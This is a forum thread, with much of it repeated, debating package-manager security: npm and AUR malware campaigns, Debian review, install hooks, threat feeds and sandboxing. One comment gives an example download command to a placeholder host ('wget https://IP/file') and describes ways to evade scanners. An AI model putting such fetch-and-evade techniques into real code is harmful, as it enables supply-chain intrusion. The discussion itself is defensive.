Every package install is checked against the threat feed and it raises an exception if we find something malicious being installed
Ok big problem is lots of stuff installed for campaigns wasn't flagged in any feed. If maintainer access is taken over you still don't have any feed info, maybe it will be a bit faster to publish so if maintainer finds out.
Everyone is looking at NPM how bad it is or AUR lately. Those are "free for all anything can happen, any kid can publish" repositories and that's what you get.
No one looks at Debian and is saying "well maybe we should do what they do"...
> No one looks at Debian and is saying "well maybe we should do what they do"...
Arch does exactly what Debian for the official repos. It was only the AUR that was compromised. Possibly the issue is that Arch is a bit to strict for the official repos which has forced too many people on to the AUR ones.
Ubuntu has personal PPAs that are easy to setup - but Ubuntu has a good system to get everything into mainline (mostly because Debian has nearly everything and they ship Debian) and so they are rarely used. Arch has vastly less official packages and so there are a lot of niches where you have to use a AUR.
I don't think the issue is Arch is to strict though. I think the issue is Arch isn't good at helping people getting things that should be official to official. Publishing a AUR is easy, getting something from an AUR to official is hard and most people give up - often without trying.
Author here - people are definitely looking at other places. This just happens to be where the attacks are, and gets disproportionate attention as a result.
Do you have examples of campaigns that weren’t flagged? Everything except xz had a 1 day window and Dependency Cooldowns are super effective against most campaigns for that reason.
People are disregarding model where registry is responsible for what they publish.
Your solution does exactly that. Giving hooks to end users just pushes the responsibility to the users.
Yes all issues were publicized and marked in hours. Sorry but hours is not good enough when there is countless CI pipelines running in a single hour.
Only solution is not allowing to publish malicious stuff. Cooldowns are also not the solution because possibilities to publish malicious code is still there if no one reviews it.
I haven't ever seen "a campaign" get through Debian's release process, besides xz-utils.
The only major blemish in Debian's record was in 2006 when one of its developers patched OpenSSL to avoid using uninitialised memory as a source of randomness, in order to placate a static analyser. Nobody in Debian noticed that this effectively made OpenSSL key generation entirely predictable (it only generated one of 32768 unique keys), for 2 years.
This piqued my curiosity and it seems you really didn't do it justice there. Rather than patch out the actual use of the uninitialized memory (always a good thing to do) IIUC instead the core part of the function that mixes new randomness in was patched out. Like the tire was flat so you went ahead and just chopped off the entire axle with an angle grinder because who needs 4 wheels anyway.
These links contain specific people's names, but the important thing is not to blame those people specifically, because this failure came from the whole Debian community and its values. A community that eagerly went looking for, e.g. valgrind correctness. A community that thought it knew better than upstream, and didn't check their changes with them. A community that values neat patches that close bugs, without thinking of the wider ramifications.
The community has learnt a lot of lessons since 2008, and is now much more aware of how packager meddling could cause security flaws.
(You could also single out the OpenSSL developers for their faults too, but this particular error was on Debian)
NPM has at least had the good sense to use namespaces so that it isn't entirely a free for all and is less of a high stakes game of Mavis Beacon. (You could typosquat a namespace too, of course.) Unlike AUR but also pip, cargo, etc.
> No one looks at Debian and is saying "well maybe we should do what they do"...
You mean that having mature community with maintainers checking subscriptions and a "testing" channel where stuff only lands after few weeks of no problems is useful ? Who could possibly imagine!?
Industry's gonna NIH
> Ok big problem is lots of stuff installed for campaigns wasn't flagged in any feed. If maintainer access is taken over you still don't have any feed info, maybe it will be a bit faster to publish so if maintainer finds out.
Technically at the very least company could throw their feed to AI and at least get some automated screening on the changes between versions
Let's not forget, in the majority of cases in Debian, the packager is not the software author. It's an independent volunteer, vetted by a community of such volunteers.
This is an incredibly useful, I'd say essential, firewall. I really don't like the Windows/macOS approach of "just do everything yourself, we'll do nothing", and likewise the npm et al approach of there being a fully automated package registry which merely distributes packages to millions of people, and leaves the onus on the software author for when to publish and what to publish.
A drive-by script could trigger some CI via a developer's credentials to publish a new version. If the outcome of that is it merely sends an email to a second person, who might get around to looking at it, and will likely look at the diffs, have to write up what the changes are, and might email back... that's a hell of a lot better than push straight to prod
We still have the problem of Debian developers being free to push their own changes, and a suitably knowledgeable one could hide stuff from the various automated testing and analyses they face, but even then they face pushback from real testers, and if caught pushing malware they'd lose their prestigious volunteer position of trust instantly.
My understanding is probably not: the hooks are configured locally, not by other packages automatically, so you’d install and setup the pre-install hooks yourself to check the packages before install/update.
Can it be exploited? Yes, anything can. But that’s not a reason to not do this if the overall result is better.
The author is proposing replacing a suite of security tools that integrate with package managers in a variety of ways (directly inside the package manager, through package manager hooks when available, as firewalls/repo hosts/network proxies) with a single security tool that "universally" works for every package manager that supports a new standard ("global hooks").
Some security experts are still going to prefer the firewalls or network proxies given the choice. Some security experts are still going to prefer package manager-specific security tools rather than a single "universal" one.
Package managers have individually supported hooks, configured in different ways, and with different metadata available unique to the package manager in each hook. Any attempt to standardize hooks "globally" would be a new standard. It might borrow elements from existing implementations of this package manager or that package manager, but it doesn't sound like you build a "universal" hook without some deeper standard on which events get hooked, what metadata is presented and how, etc. It stands to reason as you start to standardize that sort of stuff the final standard won't resemble any specific package manager's existing hooks.
It was a tongue-in-cheek comment, not really a perfect analogy to the situation. Still, the author expects teams with different priorities and design philosophies to follow a new standard, that can easily end up in more fragmentation.
The solution is called curated package feed. Using private one instead of default public package source, you get a trusted source. All updates should be done by first pulling the new packages to the private feed and only after passing the reviews - update.
A little bit of bureaucracy in form of best security practices helps with supply chain attacks.
Most people are not qualified to determine what should go into their private package feed. Learning accounting is hard enough without learning packages - and accountants shouldn't have to learn this details, division of labor is a good thing (I picked accountants at random, the vast majority of humans have an important job that isn't packages and shouldn't have to know this)
I think the packaging ecosystem is varied enough that this should be left for the package managers to decide. Yarn allows dependency resolution and WebFetch overrides in its hooks for eg.
> `PreInstall` mainly. But `PreFetch/PreBuild` also for source-repositories, such as AUR helpers.
I don't think this is detailed enough - what exactly should the hooks be able to do? Affect dependency resolution? Choice of versions? Are they per run or per package? Is something already downloaded so it can be inspected?
They should be able to do literally anything and everything. Treat it more like a packet in the linux networking stack, your filter chain gets run at some well defined point during the process and can query or change approximately anything.
This seems to be primarily a problem with NPM, since it's the only package manager that I know of that allows for package authors to essentially run arbitrary post-install scripts silently package install.
Shai Hulud/Mini Shai Hulud happened because of this obvious glaring hole in the system, they even had the script to download an official copy of Bun to spread itself in case the targeted machine has hardened their security. So, the real question is not what other security features does a package manager need, it should be: why does a package manager have the ability to let package authors run arbitrary scripts silently on other people's computer in the first place?
It doesn't really matter how good your security system is if the front door is left wide open for anyone to walk through.
> since it's the only package manager that I know of that allows for package authors to essentially run arbitrary post-install scripts silently package install
Are you sure? I'm pretty sure .deb and .rpm packages both allow that
>Are you sure? I'm pretty sure .deb and .rpm packages both allow that
Learned something new today. Thanks.
I think the other significant issue with the NPM ecosystem that makes it bad in particular is NPM's dependency management is genuinely the worst out of any package manager because of phantom dependency is the default: you can be using a package without ever knowing that you are using it because it is imported implicitly, and the JS ecosystem dependency is so weird that taking down a small package that that a major project depends on cripples the entire JS ecosystem, as shown in left-pad, and launching a cyberattack via npm can be as easy as putting malicious code in any small package that large, popular packages depend on and watch it propagate. This is not hypothetical, it has been done, repeatedly in fact, over the years.
TS is a good programming language, however NPM is a security nightmare, and somehow the collective reaction of everyone depends on the JS/TS ecosystem seems like a shrug and "oh well, what can you do".
I wrote this in response to the recent AUR attacks. The problem isn’t really too many dependencies - it is that most users cannot be auditing everything they install and we need mechanisms that help users where they are.
I audit my AUR pkg builds, and I would have likely caught any malware. But so would a Dependency Cooldown or a third-party threat feed. Package Managers should make it easy to build this tooling via hooks.
Both certainly do. My own hypothesis on why this isn't a more widespread problem is the speed, or lack thereof, of these ecosystems. By the time a package hits debian stable, it's usually been under scrutiny for a year or more.
(Author here). It isn’t a matter of pre-install hooks. I don’t want known malware on my system irrespective of whether it runs at install-time or not. Pre-install hooks are going away in NPM, but we will have code injected in index.js next.
Modern package managers are not amenable to letting another script override its resolutions, and that is what needs fixing.
I’d even say perhaps we need a fine grained permission system like Apple provides, but for clis, not just something limited to maintainers of package managers.
>Every package install is checked against the threat feed and it raises an exception if we find something malicious being installed.
So your solution is to reinvent signature based antiviruses, like Norton Antivirus and McAffee?
The problem with these 2000s approaches were that attackers could:
1- Fuzz their payloads so that they are never the same and they don't trigger detection.
2- Offload payload mechanisms so that your monitoring system needs to play cat and mouse. For example, what if the malicious code does wget https://IP/file, will you detect wget commands? Will you scan for whatever looks like a URL? Ok, what if they do "another_package_manager_like_flatpack malicious_package", will your scanner implement all package managers? What if they construct the url? "protocol + "://" + domain + file" surely your global hook thing will notice that is a url and how it is downloaded and inspect those contents as well?
3- The attacker can control the timing and infect every user at the same time, especially if they control the update mechanism of users whose security policy is to keep things patched. Even if the malicious update is not simultaneous, the malicious update can start distribution, and the attack only triggered months later (simultaneously) when enough users have downloaded it (beating latency policies).
The only solution is to do actual work and either write the thing you are trying to offload to the 'open source community, or to actually write it yourself. But of course more work is going to be put into the possibility of a magical easy solution, than on an deteriministic hard solution.
(Author here). I don’t really care _how and what you decide to do with it_, the post is about package managers giving users the ability to decide.
Dependency Cooldowns can be implemented with global hooks, git-commit-signing checks can be implemented, LLM-scans can be implemented, someone can run the code in a jail and use the eBPF logs to publish a threat feed.
Modern language packaging is also _source available_, and we have a huge leg up over traditional virus scans - we have the source code almost always. You can do amazing static analysis.
No, you are exaggerating my point of view so that it's easier to dismiss and so you don't have to evaluate the proposition.
A mix of a Strawman and a false dilemma.
"Write more and use less third party, than you are currently using." would be more accurate.
Consider this, the package manager I use has not been infected in over a decade, the package manager you are suggesting improvements for is currently distributing malware as we speak.
Doesn't that invite you more to learn about our ways? It takes effort, especially if you consider what I'm writing to be a wall of text. But unless you consider 'shipping faster' to be a worthy tradeoff for cybersecurity, then it's worth it to learn, no?
These are not 2000 approaches, these are approaches used today (signature based detection).
The difference is that in 2000s the signatures were written by hand and described static file info, today they're often autogenerated and describe the system behavior, either by looking at one executable, or a whole network of computers. But it is still signature based detection. Since they describe the program behavior, not the program structure, then if the program itself stayed the same (the sequence of system api calls stayed the same), no runtime packing/obfuscation makes a difference to a signature. Unless obfuscation changes the behavior.
Also security is not binary, it's layered. Sometimes we can address an attack vector by using multiple levels. And sometimes it's simply worth checking for low hanging fruits if only to make the attack more expensive. The "cat and mouse" game is always about the cost of attack and cost of defense, if we raise one then we win in this area, unless the other party finds a way of lowering the cost of their side. Or unless they pay an unexpected amount of cost, for example in state sponsored malware.
By the way, some security solutions also have actual parsers for example for PowerShell, so they can actually detect string concatenation that constructs the URL.
>Also security is not binary, it's layered. Sometimes we can address an attack vector by using multiple levels. And sometimes it's simply worth checking for low hanging fruits if only to make the attack more expensive.
Defense in depth and multiple redundant layers is a legitimate technique.
But it should usually be 2 virtually unbreachable layers, like 99.999% effective, because there may be a memory leak somewhere and it will be exploited once per year or so. Because 1 layer is just shy of 100%, 2 layers is already overkill, we would do 1.1 layers if possible (but of course it's not)
Maybe if it's a multibillion dollar product you'd add a third or more impenetrable layers.
And once you have those two redundant security layers, then you add deterrents and monitors, if you want.
But relying on security measures that will maybe catch 20% of attacks or 40% of attacks as a main mechanism will lead to what some have described as swiss-cheese models. https://en.wikipedia.org/wiki/Swiss_cheese_model
So yes, sometimes you can add a cheap measure that might make things more difficult to an attacker, on top of your main line of defense, then do it. But keyword cheap, if it takes 2 minutes like using a custom port, yeah for sure do that, but if you have to write an article and invent a new theory of hooks, then it's not it.
Antivirus techniques are not used by serious development professionals that I know of, I've seen it used in IT contexts were there's non technical users that might download stuff, but even then it's not really a central technique, just something that security firms sell to non-technical execs. And it's in the context of sys admins trying to control the security environment of hundreds of employees whose actions they cannot control. In the context of developers who have to ensure the security of systems they have code for, you do not need these faith based techniques, you are importing the code, you have access to it, and you have the time resources to inspect it. These antivirus technologies are used either by personal end users that don't have the ability to verify the software or audit its source, or for IT departments that cannot even inspect the contents and packets of the software their employees are using for security reasons.
Does official Apple security framework ("Apple EndpointSecurity") targeted at AV vendors serious enough for you? They themselves built an OS subsystem specifically for AVs to use, and Microsoft has done the exact same with AMSI.
There are actually very few techniques that are 99.999% effective. Cryptography when considered per se maybe is, but the wide topic of heuristic analysis is much lesser than that. Even if we consider some imagined, mythical 99.999% effectiveness, it's always measured in the specific boundaries we set during our analysis. Permission rights in the OS are 100% secure if we assume the authentication for sysop is secure. If we store the password for root in a public git repo, then OS permissions are 0% effective even if the system code hasn't changed at all. Your percent value is very fragile and relative to the boundaries we set. The unbreakable wall you think of can turn into a sheet of paper in the blink of an eye.
The cheap port-changing trick can even be 100% effective against generic massive port scanning attacks. But it's 0% effective against a targeted attack. It depends entirely on the surface area we want to defend against. If we define our protection to work against generic automated bots, then changing the port is an entirely effective solution. If we want to ensure our systems are globally "unbreakable" (whatever that means), then it's a weak security solution. In other words, effectiveness is not absolute; it's relative to the threat model.
It's not possible to inspect all the code we use. There's too much of it changing every second. The idea that developers have the time or ability to manually inspect every line of open-source code they import is an economic fantasy. In an era where frontier AI models like Mythos are finding and chaining 0-days in minutes, human review is simply outpaced. But even if we somehow did it, something would already change by the time you finish reading this paragraph. Everything needs to be reanalyzed because we don't know what shifted. And sometimes, the vulnerability manifests in the parts of the code that DIDN'T change.
By the way, I think you might not be aware that current, "next-gen" security solutions offered by Crowdstrike or SentinelOne are actually old antivirus techniques marketed as something new. EDRs are 'just' log aggregators and routers for signatures to be matched on.
Also, please don't think about programmers as someone immune to attacks, as this is not true at all. The fact that programmers invented a method of installation for programmer tools based on piping curl output directly to bash is direct proof that some programmers have absolutely no idea how security works. Especially web developers. If anything, programmers can be more dangerous than normal users because they assume they are better, and then they make the exact same mistakes as everyone else. They are just plain computer users who need to be defended from their own carelessness.
I'm the guy that built the antimiasma discovery and mitigation tool [1] and has seen a lot of the evolved and ever-changing malware samples (17 unique deobfuscated samples with different code branches and adapters/functions/features), so I feel somewhat qualified to respond to this.
The problem of everchanging malware isn't fixable by global policies and global rulesets. Package managers need to change to different workflows in the package
publishing process.
1. Reproducible builds have to be mandatory
2. Deployed packages have no execution or network capability at install time
3. If package artifacts differ from source artifacts, block it temporarily
4. In order to defend against credentials harvesting: Package managers need to have mandatory container or sandbox isolation (mandatory bubblewrap, podman, or whatever isolation that segregates filesystems and networking)
5. In order to defend against github being abused as a C2 infrastructure: Package managers need to have locked behavioral rulesets of packages, "allow filesystem" or "allow networking" is useless, and needs to be per-resource. Additionally, it needs to be a mandatory allowlist-only enforcement. If it's allowed by default, it won't help with the transitive dependencies problem
6. Introduced transitive dependencies need to be locked and signed by the package repository authority.
7. In order to defend against eBPF Rootkit: Sorry, you're just f'cked. The only EDR on the market that defends against this attack surface is literally my own product (that I won't advertise here). Every other available tooling is just too outdated in how it has been developed, and too outdated how it's doing behavioral analytics of malware.
---
My personal take on this:
Pretty much every developer thinks this isn't necessary and is probably gonna downvote me for telling the security perspective here. This is not about what's necessary, this is about what's broken.
Our existing DevOps and DevSecOps culture and the involved incident response/supply chain security/GRC/etc workflows are absolutely broken against these reoccurring supply chain attacks, and the tooling that promised to catch this is also absolutely broken and useless against mutating malware that's co-generated by LLMs.
The only ones actually re-identifying the malware implants as miasma malware samples correctly were the socket.dev folks. Every other supply chain tool vendor was just bragging about a new malware campaign because they weren't up to speed and seemingly didn't know about the initial miasma campaigns (and the prototype campaign targeting RedHat's NPM packages with the gyp bindings).
Microsoft was so useless in its incident response workflow that they tried to mitigate the problem by making VSCode extension installs with a required delay time, not even having understood how the malware implants work, and not even having understood what the actual spread vector was.
It's like Microsoft had to press a red button just for the sake of having done anything, instead of openly communicating and advising to ongoing malware attacks, sharing intelligence and samples; and in consequence leaving every customer of Microsoft in the dark, getting compromised in the process, too.
> The problem of everchanging malware isn't fixable by global policies and global rulesets.
But it is an important tool that's missing in our toolbox. You could do most of the above, and still get pwned by a typo in an `npx` command. Capability based access management is not likely to land in any large package manager in the next few years, and we need solutions that work today.
1. Seems hard but doable (assuming there is some way to inject "inputs" into the build process, that can be recorded). However, I'm not sure exactly what you mean by a build here? Many package managers do not distribute binaries at all, so what is being reproduced?
2. Codegen is extremely common (serialisation, reflection, bindings, etc.) to the extent that even requiring a whitelist of packages that can do code-gen seems like a non-starter (because everyone will just whitelist everything). Sandboxing build-time execution seems like a more practical approach than denying it.
3. It's not clear to me that this distinction is meaningful for many package managers. Crates.io for example distributes a packaged set of sources. What are you comparing these against? There's no requirement that the original sources be hosted anywhere public, and I definitely don't think it should be mandating use of GitHub or anything.
4. Needs to be a whitelist rather than mandatory, but yes.
5. Yes, with the caveat below.
6. What do you mean by "locked"? You cannot lock transitive dependencies and still have a usable package infrastructure. If I have packages A and B that both depend on C, then it's critical that the version of C used is maximally flexible, otherwise it becomes impossible for downstream packages to find a version of A and B that are inter-compatible.
In my experience there's a danger for security experts to neglect the practical consequences of the limitations they enforce. This is because they incorrectly place security as the most important requirement, when by definition it cannot be:
Without a product, there is nothing to secure. When a policy becomes too onerous, people don't simply stop doing their work, they work around it. It's a mistake to judge a security policy on what it prevents: a security policy should be judged on what it allows, because an unused or bypassed security policy is less effective than a weak one.
This is why I think thinks like sandboxed execution far more effective than trying to blanket deny things: it enables people to work in a more secure way rather than pushing them towards less secure alternatives. It's why the best way to get people to use secure cryptographic libraries is not just to berate them for doing things themselves, it's to build secure libraries that they want to use because they work well and are ergonomic.
Aliases and pre-hooks are nowhere near the guarantees you want, that’s what I am arguing - not everything is invoked from a blessed shell. Safely-bump-does.sh is also impossibly hard to write because you are replicating _all of the work NPM does in transitive dependency resolution_. Unless you are re-generating the lock file from scratch - it isn’t safe. Just updating package.json isn’t sufficient for eg.
safely-bump-deps.sh does not need to do impossibly hard things. It can just call npm: outdated, install --save-exact and/or install --package-lock-only. There's plenty of solutions here.
Pushing this into a hook makes it invisible, implicit, hard to debug, and an entry point for all sorts of undefined behaviours.
Lots of Unix stuff uses hooks. cron, init, bash has multiple different hook-shaped files (eg .bashrc). The Unix philosophy isn't a sacred cow, purity over pragmatism was the Multics philosophy.
Everyone is looking at NPM how bad it is or AUR lately. Those are "free for all anything can happen, any kid can publish" repositories and that's what you get.
No one looks at Debian and is saying "well maybe we should do what they do"...
> No one looks at Debian and is saying "well maybe we should do what they do"...
Arch does exactly what Debian for the official repos. It was only the AUR that was compromised. Possibly the issue is that Arch is a bit to strict for the official repos which has forced too many people on to the AUR ones.
Ubuntu has personal PPAs that are easy to setup - but Ubuntu has a good system to get everything into mainline (mostly because Debian has nearly everything and they ship Debian) and so they are rarely used. Arch has vastly less official packages and so there are a lot of niches where you have to use a AUR.
I don't think the issue is Arch is to strict though. I think the issue is Arch isn't good at helping people getting things that should be official to official. Publishing a AUR is easy, getting something from an AUR to official is hard and most people give up - often without trying.
Author here - people are definitely looking at other places. This just happens to be where the attacks are, and gets disproportionate attention as a result.
Do you have examples of campaigns that weren’t flagged? Everything except xz had a 1 day window and Dependency Cooldowns are super effective against most campaigns for that reason.
See papers at https://kokkonisd.github.io/ for eg.
People are disregarding model where registry is responsible for what they publish.
Your solution does exactly that. Giving hooks to end users just pushes the responsibility to the users.
Yes all issues were publicized and marked in hours. Sorry but hours is not good enough when there is countless CI pipelines running in a single hour.
Only solution is not allowing to publish malicious stuff. Cooldowns are also not the solution because possibilities to publish malicious code is still there if no one reviews it.
I haven't ever seen "a campaign" get through Debian's release process, besides xz-utils.
The only major blemish in Debian's record was in 2006 when one of its developers patched OpenSSL to avoid using uninitialised memory as a source of randomness, in order to placate a static analyser. Nobody in Debian noticed that this effectively made OpenSSL key generation entirely predictable (it only generated one of 32768 unique keys), for 2 years.
This piqued my curiosity and it seems you really didn't do it justice there. Rather than patch out the actual use of the uninitialized memory (always a good thing to do) IIUC instead the core part of the function that mixes new randomness in was patched out. Like the tire was flat so you went ahead and just chopped off the entire axle with an angle grinder because who needs 4 wheels anyway.
Agreed, but you also have to look at it from a packager's point of view. Here is the actual patch: https://salsa.debian.org/debian/openssl/-/commit/8f27a7dc022...
Notice how clean and small a patch it is? (ignore that, in making it clean and small, it has "chopped off the entire axle" as you say)
And here's what led to making that patch: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516
These links contain specific people's names, but the important thing is not to blame those people specifically, because this failure came from the whole Debian community and its values. A community that eagerly went looking for, e.g. valgrind correctness. A community that thought it knew better than upstream, and didn't check their changes with them. A community that values neat patches that close bugs, without thinking of the wider ramifications.
The community has learnt a lot of lessons since 2008, and is now much more aware of how packager meddling could cause security flaws.
(You could also single out the OpenSSL developers for their faults too, but this particular error was on Debian)
NPM has at least had the good sense to use namespaces so that it isn't entirely a free for all and is less of a high stakes game of Mavis Beacon. (You could typosquat a namespace too, of course.) Unlike AUR but also pip, cargo, etc.
> No one looks at Debian and is saying "well maybe we should do what they do"...
You mean that having mature community with maintainers checking subscriptions and a "testing" channel where stuff only lands after few weeks of no problems is useful ? Who could possibly imagine!?
Industry's gonna NIH
> Ok big problem is lots of stuff installed for campaigns wasn't flagged in any feed. If maintainer access is taken over you still don't have any feed info, maybe it will be a bit faster to publish so if maintainer finds out.
Technically at the very least company could throw their feed to AI and at least get some automated screening on the changes between versions
Let's not forget, in the majority of cases in Debian, the packager is not the software author. It's an independent volunteer, vetted by a community of such volunteers.
This is an incredibly useful, I'd say essential, firewall. I really don't like the Windows/macOS approach of "just do everything yourself, we'll do nothing", and likewise the npm et al approach of there being a fully automated package registry which merely distributes packages to millions of people, and leaves the onus on the software author for when to publish and what to publish.
A drive-by script could trigger some CI via a developer's credentials to publish a new version. If the outcome of that is it merely sends an email to a second person, who might get around to looking at it, and will likely look at the diffs, have to write up what the changes are, and might email back... that's a hell of a lot better than push straight to prod
We still have the problem of Debian developers being free to push their own changes, and a suitably knowledgeable one could hide stuff from the various automated testing and analyses they face, but even then they face pushback from real testers, and if caught pushing malware they'd lose their prestigious volunteer position of trust instantly.
This sounds like a prime new vector for malware, ironically.
My understanding is probably not: the hooks are configured locally, not by other packages automatically, so you’d install and setup the pre-install hooks yourself to check the packages before install/update.
Can it be exploited? Yes, anything can. But that’s not a reason to not do this if the overall result is better.
And how a malware can use this if it's configured globally in a root:root owned config file?
Not all package managers require root.
But yeah, maybe through an exploit with a narrow reach. Once in, the malware can veto security updates and escalate to full control.
With root, malware can reach out to UEFI anyway, and can do whatever it likes.
Writing text to a specific root-owned config file != being root. If you have the former, you need something like this to escalate.
I’d prefer if my package manager had no ability to run arbitrary payloads at all.
1. There are 5 competing standards.
2. This is clearly unacceptable, so we've created the one standard to unite them all™.
3. There are 6 competing standards.
The author is proposing a new feature on existing package managers, not replacing package managers with a new one.
The author is proposing replacing a suite of security tools that integrate with package managers in a variety of ways (directly inside the package manager, through package manager hooks when available, as firewalls/repo hosts/network proxies) with a single security tool that "universally" works for every package manager that supports a new standard ("global hooks").
Some security experts are still going to prefer the firewalls or network proxies given the choice. Some security experts are still going to prefer package manager-specific security tools rather than a single "universal" one.
Hooks are not a new standard. Package managers have always supported hooks. It is just a call to get us to parity.
Package managers have individually supported hooks, configured in different ways, and with different metadata available unique to the package manager in each hook. Any attempt to standardize hooks "globally" would be a new standard. It might borrow elements from existing implementations of this package manager or that package manager, but it doesn't sound like you build a "universal" hook without some deeper standard on which events get hooked, what metadata is presented and how, etc. It stands to reason as you start to standardize that sort of stuff the final standard won't resemble any specific package manager's existing hooks.
It was a tongue-in-cheek comment, not really a perfect analogy to the situation. Still, the author expects teams with different priorities and design philosophies to follow a new standard, that can easily end up in more fragmentation.
The solution is called curated package feed. Using private one instead of default public package source, you get a trusted source. All updates should be done by first pulling the new packages to the private feed and only after passing the reviews - update.
A little bit of bureaucracy in form of best security practices helps with supply chain attacks.
Most people are not qualified to determine what should go into their private package feed. Learning accounting is hard enough without learning packages - and accountants shouldn't have to learn this details, division of labor is a good thing (I picked accountants at random, the vast majority of humans have an important job that isn't packages and shouldn't have to know this)
System package managers (at least apt & portage) have a whole bunch of hooks. I guess this is talking about language package managers.
TFA is also a bit hazy on what hooks exactly?
`PreInstall` mainly. But `PreFetch/PreBuild` also for source-repositories, such as AUR helpers.
homebrew doesn't support hooks as a system package manager: https://github.com/ecosyste-ms/package-manager-hooks as an example.
I think the packaging ecosystem is varied enough that this should be left for the package managers to decide. Yarn allows dependency resolution and WebFetch overrides in its hooks for eg.
> `PreInstall` mainly. But `PreFetch/PreBuild` also for source-repositories, such as AUR helpers.
I don't think this is detailed enough - what exactly should the hooks be able to do? Affect dependency resolution? Choice of versions? Are they per run or per package? Is something already downloaded so it can be inspected?
They should be able to do literally anything and everything. Treat it more like a packet in the linux networking stack, your filter chain gets run at some well defined point during the process and can query or change approximately anything.
This seems to be primarily a problem with NPM, since it's the only package manager that I know of that allows for package authors to essentially run arbitrary post-install scripts silently package install.
Shai Hulud/Mini Shai Hulud happened because of this obvious glaring hole in the system, they even had the script to download an official copy of Bun to spread itself in case the targeted machine has hardened their security. So, the real question is not what other security features does a package manager need, it should be: why does a package manager have the ability to let package authors run arbitrary scripts silently on other people's computer in the first place?
It doesn't really matter how good your security system is if the front door is left wide open for anyone to walk through.
> since it's the only package manager that I know of that allows for package authors to essentially run arbitrary post-install scripts silently package install
Are you sure? I'm pretty sure .deb and .rpm packages both allow that
>Are you sure? I'm pretty sure .deb and .rpm packages both allow that Learned something new today. Thanks.
I think the other significant issue with the NPM ecosystem that makes it bad in particular is NPM's dependency management is genuinely the worst out of any package manager because of phantom dependency is the default: you can be using a package without ever knowing that you are using it because it is imported implicitly, and the JS ecosystem dependency is so weird that taking down a small package that that a major project depends on cripples the entire JS ecosystem, as shown in left-pad, and launching a cyberattack via npm can be as easy as putting malicious code in any small package that large, popular packages depend on and watch it propagate. This is not hypothetical, it has been done, repeatedly in fact, over the years.
TS is a good programming language, however NPM is a security nightmare, and somehow the collective reaction of everyone depends on the JS/TS ecosystem seems like a shrug and "oh well, what can you do".
Package-level hooks are everywhere: https://github.com/ecosyste-ms/package-manager-hooks
I wrote this in response to the recent AUR attacks. The problem isn’t really too many dependencies - it is that most users cannot be auditing everything they install and we need mechanisms that help users where they are.
I audit my AUR pkg builds, and I would have likely caught any malware. But so would a Dependency Cooldown or a third-party threat feed. Package Managers should make it easy to build this tooling via hooks.
Both certainly do. My own hypothesis on why this isn't a more widespread problem is the speed, or lack thereof, of these ecosystems. By the time a package hits debian stable, it's usually been under scrutiny for a year or more.
(Author here). It isn’t a matter of pre-install hooks. I don’t want known malware on my system irrespective of whether it runs at install-time or not. Pre-install hooks are going away in NPM, but we will have code injected in index.js next.
Modern package managers are not amenable to letting another script override its resolutions, and that is what needs fixing.
Ruby gems can run anything at install time.
I know of some that download C sources from github and compile them as part of the install (not build) process.
I agree with your premise.
I’d even say perhaps we need a fine grained permission system like Apple provides, but for clis, not just something limited to maintainers of package managers.
> perhaps we need a fine grained permission system like Apple provides, but for clis
well deno has the stuff... but deno's not popular (yet)
pypi/pip are also being hit by a supply chain epidemic.
Nix does not have these problems.
>Every package install is checked against the threat feed and it raises an exception if we find something malicious being installed.
So your solution is to reinvent signature based antiviruses, like Norton Antivirus and McAffee?
The problem with these 2000s approaches were that attackers could:
1- Fuzz their payloads so that they are never the same and they don't trigger detection.
2- Offload payload mechanisms so that your monitoring system needs to play cat and mouse. For example, what if the malicious code does wget https://IP/file, will you detect wget commands? Will you scan for whatever looks like a URL? Ok, what if they do "another_package_manager_like_flatpack malicious_package", will your scanner implement all package managers? What if they construct the url? "protocol + "://" + domain + file" surely your global hook thing will notice that is a url and how it is downloaded and inspect those contents as well?
3- The attacker can control the timing and infect every user at the same time, especially if they control the update mechanism of users whose security policy is to keep things patched. Even if the malicious update is not simultaneous, the malicious update can start distribution, and the attack only triggered months later (simultaneously) when enough users have downloaded it (beating latency policies).
The only solution is to do actual work and either write the thing you are trying to offload to the 'open source community, or to actually write it yourself. But of course more work is going to be put into the possibility of a magical easy solution, than on an deteriministic hard solution.
(Author here). I don’t really care _how and what you decide to do with it_, the post is about package managers giving users the ability to decide.
Dependency Cooldowns can be implemented with global hooks, git-commit-signing checks can be implemented, LLM-scans can be implemented, someone can run the code in a jail and use the eBPF logs to publish a threat feed.
Modern language packaging is also _source available_, and we have a huge leg up over traditional virus scans - we have the source code almost always. You can do amazing static analysis.
Yes, it’s hard work. But package managers are doing it already. Yay and Paru both now support hooks. I’m offering to help for AUR to publish more metadata: https://lists.archlinux.org/archives/list/aur-dev@lists.arch...
That’s just a wall of text for “malware detection is hard, write everything yourself, don’t use third party”. Thanks for the insight, I guess.
>Malware detection is hard Hell yeah
>Write everything yourself, don't use third party
No, you are exaggerating my point of view so that it's easier to dismiss and so you don't have to evaluate the proposition.
A mix of a Strawman and a false dilemma.
"Write more and use less third party, than you are currently using." would be more accurate.
Consider this, the package manager I use has not been infected in over a decade, the package manager you are suggesting improvements for is currently distributing malware as we speak.
Doesn't that invite you more to learn about our ways? It takes effort, especially if you consider what I'm writing to be a wall of text. But unless you consider 'shipping faster' to be a worthy tradeoff for cybersecurity, then it's worth it to learn, no?
"Consider this, the package manager I use has not been infected in over a decade [..]"
Which package manager do you mean?
>> "Consider this, the package manager I use has not been infected in over a decade [..]"
> Which package manager do you mean?
Apt, rpm.
Anyway, don't you think that this line:
> Which package manager do you mean?
Gives off "'No way to prevent this problem', says users of only package manager that has this problem" vibes?
These are not 2000 approaches, these are approaches used today (signature based detection).
The difference is that in 2000s the signatures were written by hand and described static file info, today they're often autogenerated and describe the system behavior, either by looking at one executable, or a whole network of computers. But it is still signature based detection. Since they describe the program behavior, not the program structure, then if the program itself stayed the same (the sequence of system api calls stayed the same), no runtime packing/obfuscation makes a difference to a signature. Unless obfuscation changes the behavior.
Also security is not binary, it's layered. Sometimes we can address an attack vector by using multiple levels. And sometimes it's simply worth checking for low hanging fruits if only to make the attack more expensive. The "cat and mouse" game is always about the cost of attack and cost of defense, if we raise one then we win in this area, unless the other party finds a way of lowering the cost of their side. Or unless they pay an unexpected amount of cost, for example in state sponsored malware.
By the way, some security solutions also have actual parsers for example for PowerShell, so they can actually detect string concatenation that constructs the URL.
>Also security is not binary, it's layered. Sometimes we can address an attack vector by using multiple levels. And sometimes it's simply worth checking for low hanging fruits if only to make the attack more expensive.
Defense in depth and multiple redundant layers is a legitimate technique.
